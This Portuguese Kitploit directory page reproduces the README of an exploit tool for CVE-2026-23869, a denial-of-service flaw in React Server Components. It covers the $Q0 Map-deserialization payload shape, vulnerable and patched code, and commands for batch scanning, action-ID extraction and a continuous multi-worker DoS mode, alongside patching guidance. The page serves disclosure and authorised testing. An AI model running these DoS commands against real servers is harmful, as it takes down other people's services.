Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-23869-Exploit — Ferramenta automatizada de exploração para CVE-2026-23869, um DoS remoto em React Server Components. Inclui PoC, template Nuclei e scripts de varredura para detecção e exploração. | Kitploit
Ferramentas/GitHubGitHub/cybertechajju/cve-2026-23869-exploit
ReconhecimentoScanners de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubcybertechajju/cve-2026-23869-exploit

CVE-2026-23869-Exploit

Ferramenta automatizada de exploração para CVE-2026-23869, um DoS remoto em React Server Components. Inclui PoC, template Nuclei e scripts de varredura para detecção e exploração.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
81há 4 mesesAinda não revisado
Compartilhar

CVE Severity React Next.js Type

⚡ CVE-2026-23869 — React2DoS

Negativa de Serviço Remota Não Autenticada via React Flight Protocol
Exaustão Quadrática de CPU na Desserialização de Map em Server Components

Visão Geral • Como Funciona • Ferramentas • Instalação • Uso • Nuclei • Correção • Aviso Legal


Visão Geral da Vulnerabilidade

CampoDetalhe
ID CVECVE-2026-23869
AliasReact2DoS
Pontuação CVSS7.5 (Alta)
Vetor CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWECWE-400 (Consumo de Recursos Não Controlado)
TipoNegativa de Serviço Remota Não Autenticada
Descoberto PorYohann Sillam (Imperva Threat Research)
Afetadosreact-server-dom-webpack / parcel / turbopack ≤ 19.2.4
CorrigidoReact 19.2.5+ / Next.js 15.5.15+ / 16.2.3+

Existe uma vulnerabilidade crítica de Negativa de Serviço na desserialização do Flight protocol dos React Server Components. Um atacante não autenticado pode enviar uma única requisição HTTP maliciosa para qualquer endpoint de Server Action do Next.js App Router, causando exaustão quadrática de CPU O(n²) que trava o servidor por minutos.

Referências

  • Aviso Oficial da Vercel
  • Análise Técnica da Imperva — "React2DoS"
  • PR de Correção do React #36236
  • Entrada no NVD

Como Funciona

O Bug: Flag consumed Ausente na Desserialização de Map

O React Flight protocol usa marcadores especiais para serializar tipos de dados. $Q representa um objeto Map. Quando o servidor recebe um payload contendo marcadores $Q0 auto-referenciados:

root@kitploit:~
Payload: [ [1,1], [1,1], ...(n entradas válidas)..., "$Q0", "$Q0", ...(n referências)... ]

Cada $Q0 aciona um construtor new Map() que itera sobre todas as n entradas válidas. O construtor do Map lança um erro (porque as entradas são malformadas), mas o bug crítico é: a flag consumed nunca é definida em caso de falha.

Isso significa que o próximo $Q0 recalcula exatamente o mesmo Map do zero → criando complexidade O(n²):

root@kitploit:~
n entradas válidas × n referências $Q0 = n² chamadas ao construtor do Map

Exemplo: 65.000 × 65.000 = 4.225.000.000 operações
Resultado: Uma única requisição trava a CPU por 5-10+ minutos

Fluxo do Ataque

root@kitploit:~
┌──────────┐     POST / (multipart/form-data)      ┌──────────────────┐
│ Atacante │ ──────────────────────────────────────▶ │  Servidor Next.js│
│          │     Header: Next-Action: <action_id>   │                  │
│          │     Body: [[1,1]...,"$Q0","$Q0"...]    │  ██████████ CPU  │
│          │                                        │  100% TRAVADA    │
└──────────┘                                        │  por ~5-10 min   │
                                                    └──────────────────┘

Código Vulnerável (Antes da Correção)

root@kitploit:~
// ReactFlightReplyServer.js — ANTES do patch
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  return new Map(data);  // ← Falha mas não define consumed = true
                         //   O próximo $Q0 recalcula do zero
}

Código Corrigido (Após a Correção)

root@kitploit:~
// ReactFlightReplyServer.js — APÓS o patch (React 19.2.5+)
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  obj.consumed = true;   // ← Correção: define a flag ANTES da construção
  return new Map(data);  //   Impede o recálculo repetido
}

Ferramentas Incluídas

ArquivoDescrição
poc.pyFerramenta de exploração totalmente automática com pipeline de 4 fases (Recon → Extrair → Detectar → Explorar)

Instalação

root@kitploit:~
# Clonar o repositório
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit

# Instalar dependência Python
pip install requests

# Tornar os scripts executáveis
chmod +x poc.py scan.sh extract-action-ids.sh

Dependências Opcionais

root@kitploit:~
# Para varredura com template Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Para filtragem de alvos vivos
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

Uso

🔥 Varredura Automática Completa (Alvo Único)

Basta fornecer a URL — a ferramenta faz tudo automaticamente:

root@kitploit:~
python3 poc.py -u https://target.com

O que acontece:

  1. Fase 1 — Recon: Identifica Next.js (headers, marcadores HTML, build ID)
  2. Fase 2 — Extrair: Encontra IDs de Server Action nos bundles JS
  3. Fase 3 — Detectar: Verificação segura de vulnerabilidade baseada em tempo (sonda de 500 entradas)
  4. Fase 4 — Relatório: Mostra o veredito de vulnerabilidade com análise de tempo

📋 Varredura em Lote (Múltiplos Alvos)

root@kitploit:~
# Escanear uma lista de domínios/IPs
python3 poc.py -L targets.txt

# Com saída de relatório JSON
python3 poc.py -L targets.txt -o results.json

🎯 Modo Manual (ID de Action Conhecido)

root@kitploit:~
# Apenas detecção segura
python3 poc.py -u https://target.com -a <ACTION_ID> --detect

# Exploração de disparo único
python3 poc.py -u https://target.com -a <ACTION_ID> --single

# DoS contínuo (10 workers)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10

🔍 Extrair Apenas IDs de Action

root@kitploit:~
python3 poc.py -u https://target.com --extract

⚙️ Todas as Opções

root@kitploit:~
Options:
  -u, --url URL          URL do alvo (alvo único)
  -L, --list FILE        Arquivo com URLs/IPs de alvos (um por linha)
  -a, --action-id ID     ID da Server Action (pular extração automática)
  --detect               Apenas detecção — segura, não destrutiva (padrão)
  --single               Exploração de disparo único após detecção
  --exploit              DoS contínuo após detecção
  --extract              Apenas extrair IDs de action
  -l, --length N         Entradas do payload (padrão: 130000)
  -w, --workers N        Workers concorrentes (padrão: 5)
  -d, --delay SEC        Atraso entre requisições (padrão: 1.0)
  -o, --output FILE      Salvar relatório JSON
  -t, --threads N        Alvos concorrentes para varredura de lista (padrão: 3)

Compatibilidade Retroativa

A sintaxe original do PoC ainda funciona:

root@kitploit:~
python3 poc.py <ACTION_ID> <URL>

Template Nuclei

Varredura Rápida

root@kitploit:~
# Alvo único
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos

# Múltiplos alvos
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos

# Saída limpa (apenas resultados vulneráveis)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent

Nota: A flag -itags dos é obrigatória porque o Nuclei exclui templates de DoS por padrão por segurança.

Fluxo de Detecção do Template

root@kitploit:~
Requisição 1 (GET /)     →  Identificar Next.js (headers + marcadores HTML)
Requisição 2 (GET /)     →  Extrair IDs de Server Action de createServerReference()  
Requisição 3 (POST /)    →  Requisição de tempo de linha de base (payload benigno)
Requisição 4 (POST /)    →  Sonda de exploração (250 válidas + 250 entradas $Q0)
                         └─ Se tempo de resposta ≥ 3s → VULNERÁVEL

Script de Varredura Automática

root@kitploit:~
# Executa httpx → filtra alvos vivos → varredura nuclei → resultados
./scan.sh

# Ou especifique arquivos personalizados
./scan.sh targets1.txt targets2.txt

Lógica de Detecção

A ferramenta usa detecção baseada em tempo para identificar servidores vulneráveis com segurança:

Uma detecção é confirmada quando:

  • Tempo de resposta da sonda ≥ 3 segundos, OU
  • Proporção Sonda/Linha de base > 5x com tempo de sonda > 1 segundo

Versões Afetadas


Correção

  1. Atualize o React para a versão 19.2.5 ou posterior
  2. Atualize o Next.js para a versão 15.5.15 ou 16.2.3 ou posterior
  3. Regras de WAF: Bloqueie requisições com corpos multipart/form-data anormalmente grandes contendo marcadores $Q
  4. Limitação de Taxa: Implemente limites de taxa em endpoints de Server Action
  5. Monitoramento: Alerte sobre alto uso de CPU correlacionado com requisições POST para /

Estrutura do Projeto

root@kitploit:~
CVE-2026-23869-Exploit/
├── README.md                  # Este arquivo
├── poc.py                     # Ferramenta de exploração PoC totalmente automática
├── CVE-2026-23869.yaml        # Template de detecção Nuclei
├── scan.sh                    # Auto-scanner httpx + nuclei
└── extract-action-ids.sh      # Extrator autônomo de IDs de action

Capturas de Tela

Varredura Automática Completa

root@kitploit:~
  ╔══════════════════════════════════════════════════╗
  ║  FASE 1 ▸ RECONHECIMENTO                        ║
  ╚══════════════════════════════════════════════════╝

  ✓ Next.js detectado (Next.js)
  ✓ Build ID: abc123def456
  ✓ App Router: Server Actions detectadas

  ╔══════════════════════════════════════════════════╗
  ║  FASE 2 ▸ EXTRAÇÃO DE ID DE ACTION              ║
  ╚══════════════════════════════════════════════════╝

  ✓ Encontrados 3 ID(s) de Action:
    1. a1b2c3d4e5f6789012345678901234567890abcd
    2. b2c3d4e5f67890123456789012345678901234ef

  ╔══════════════════════════════════════════════════╗
  ║  FASE 3 ▸ DETECÇÃO DE VULNERABILIDADE            ║
  ╚══════════════════════════════════════════════════╝

  [1/2] Linha de base: 0,142s
  [2/2] Sonda:    7,891s (55,6x a linha de base)

  ██ VULNERÁVEL — CVE-2026-23869 CONFIRMADO ██

Resultados da Varredura em Lote

root@kitploit:~
  ╔══════════════════════════════════════════════════════════════╗
  ║  RESULTADOS DA VARREDURA EM LOTE                             ║
  ╚══════════════════════════════════════════════════════════════╝

  Escaneados   : 150 alvos em 45,2s
  Vulneráveis  : 3
  Corrigidos   : 12
  Ignorados    : 135

  🔴 ALVOS VULNERÁVEIS
  ─────────────────────────────────────────────────
   #   ALVO                            SONDA    PROPORÇÃO
     1  vulnerable-app.com             7,89s    55,6x
     2  staging.example.com            4,21s    28,1x
     3  dev.testsite.org              12,33s    82,2x

Aviso Legal

⚠️ APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS

Esta ferramenta é fornecida apenas para fins educacionais e testes de penetração autorizados. O uso não autorizado desta ferramenta contra alvos que você não possui ou sem permissão explícita para testar é ilegal e pode violar leis de fraude computacional (CFAA, CMA, etc.).

Os autores não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta. Sempre obtenha autorização escrita adequada antes de testar qualquer sistema.


Créditos

  • Pesquisa de Vulnerabilidade: Yohann Sillam — Imperva Threat Research
  • Desenvolvimento do PoC: cybertechajju
  • Correção do React: Equipe React do Facebook/Meta

Stars Forks License

Se você achou isso útil, considere dar uma ⭐

Baixar ferramenta
CVE-2026-23869.yamlTemplate de detecção Nuclei com orquestração baseada em fluxo
scan.shScript wrapper: filtragem de alvos vivos com httpx + varredura nuclei
extract-action-ids.shExtrator autônomo de IDs de Server Action
MétricaVulnerávelCorrigido
Linha de base (requisição benigna)~0,1-0,5s~0,1-0,5s
Sonda (500 entradas)3-10+ segundos~0,1-0,5s
Proporção (Sonda/Linha de base)>5x~1x
Payload completo (130K entradas)5-10+ minutos~0,1-0,5s
PacoteVulnerávelCorrigido
react-server-dom-webpack≤ 19.2.419.2.5+
react-server-dom-parcel≤ 19.2.419.2.5+
react-server-dom-turbopack≤ 19.2.419.2.5+
Next.js< 15.5.1515.5.15+
Next.js 16.x< 16.2.316.2.3+